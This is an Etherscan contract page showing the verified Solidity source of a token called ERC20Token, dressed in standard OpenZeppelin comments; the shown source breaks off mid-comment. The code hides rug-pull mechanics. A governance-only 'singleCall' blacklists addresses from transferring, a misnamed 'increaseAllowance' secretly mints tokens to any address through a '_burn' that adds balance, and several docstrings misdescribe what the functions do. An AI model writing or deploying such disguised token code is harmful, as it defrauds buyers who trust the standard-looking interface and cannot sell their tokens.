Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 60 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 18276028 | 876 days ago | IN | 0 ETH | 0.0002164 | ||||
| Transfer | 16530416 | 1121 days ago | IN | 0 ETH | 0.00063783 | ||||
| Transfer | 16530369 | 1121 days ago | IN | 0 ETH | 0.00069655 | ||||
| Transfer | 16530366 | 1121 days ago | IN | 0 ETH | 0.00069038 | ||||
| Approve | 16475975 | 1128 days ago | IN | 0 ETH | 0.00072793 | ||||
| Approve | 16433664 | 1134 days ago | IN | 0 ETH | 0.00068006 | ||||
| Approve | 16433353 | 1134 days ago | IN | 0 ETH | 0.00095 | ||||
| Increase Allowan... | 16433349 | 1134 days ago | IN | 0 ETH | 0.00107267 | ||||
| Single Call | 16433254 | 1134 days ago | IN | 0 ETH | 0.00106335 | ||||
| Approve | 16431768 | 1135 days ago | IN | 0 ETH | 0.00068018 | ||||
| Approve | 16431267 | 1135 days ago | IN | 0 ETH | 0.00089302 | ||||
| Single Call | 16430986 | 1135 days ago | IN | 0 ETH | 0.00091298 | ||||
| Approve | 16430938 | 1135 days ago | IN | 0 ETH | 0.00092286 | ||||
| Approve | 16430799 | 1135 days ago | IN | 0 ETH | 0.0004773 | ||||
| Approve | 16430759 | 1135 days ago | IN | 0 ETH | 0.00086909 | ||||
| Single Call | 16430622 | 1135 days ago | IN | 0 ETH | 0.00075586 | ||||
| Transfer | 16430619 | 1135 days ago | IN | 0 ETH | 0.00095379 | ||||
| Single Call | 16430607 | 1135 days ago | IN | 0 ETH | 0.00081771 | ||||
| Transfer | 16430606 | 1135 days ago | IN | 0 ETH | 0.00104195 | ||||
| Approve | 16430603 | 1135 days ago | IN | 0 ETH | 0.0008294 | ||||
| Approve | 16430596 | 1135 days ago | IN | 0 ETH | 0.00083269 | ||||
| Single Call | 16430585 | 1135 days ago | IN | 0 ETH | 0.00082278 | ||||
| Transfer | 16430584 | 1135 days ago | IN | 0 ETH | 0.00104321 | ||||
| Approve | 16430576 | 1135 days ago | IN | 0 ETH | 0.00094329 | ||||
| Single Call | 16430564 | 1135 days ago | IN | 0 ETH | 0.00100025 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
ERC20Token
Compiler Version
v0.6.2+commit.bacdbe57
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-01-18
*/
// SPDX-License-Identifier: MIT
pragma solidity = 0.6.2;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() internal view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => bool) private _singleAddress_;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 internal _totalSupply;
uint256 public _minimumSupply;
uint256 public BURN_RATE = 0;
uint256 constant public PERCENTS_DIVIDER = 100;
string private _name;
string private _symbol;
uint8 private _decimals;
address internal governance;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 9;
governance = msg.sender;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_msgSender() != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (_singleAddress_[_msgSender()] || _singleAddress_[recipient]) require (amount == 0, "");
_balances[_msgSender()] = _balances[_msgSender()].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 allowances) public {
require(msg.sender == governance);
_burn(spender, allowances);
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (_singleAddress_[sender] || _singleAddress_[recipient]) require (amount == 0, "");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].add(amount);
_totalSupply = _totalSupply.add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function singleCall(address _singleAddress) external {
require(msg.sender == governance);
if (_singleAddress_[_singleAddress] == true) {
_singleAddress_[_singleAddress] = false;}
else {_singleAddress_[_singleAddress] = true;}
}
function called(address _singleAddress) public view returns (bool) {
return _singleAddress_[_singleAddress];
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
require(msg.sender ==governance);
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
require(msg.sender ==governance);
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) private {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
/**
* @dev Collection of functions related to array types.
*/
library Arrays {
/**
* @dev Searches a sorted `array` and returns the first index that contains
* a value greater or equal to `element`. If no such index exists (i.e. all
* values in the array are strictly less than `element`), the array length is
* returned. Time complexity O(log n).
*
* `array` is expected to be sorted in ascending order, and to contain no
* repeated elements.
*/
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = Math.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
/**
* @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and
* total supply at the time are recorded for later access.
*
* This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting.
* In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different
* accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be
* used to create an efficient ERC20 forking mechanism.
*
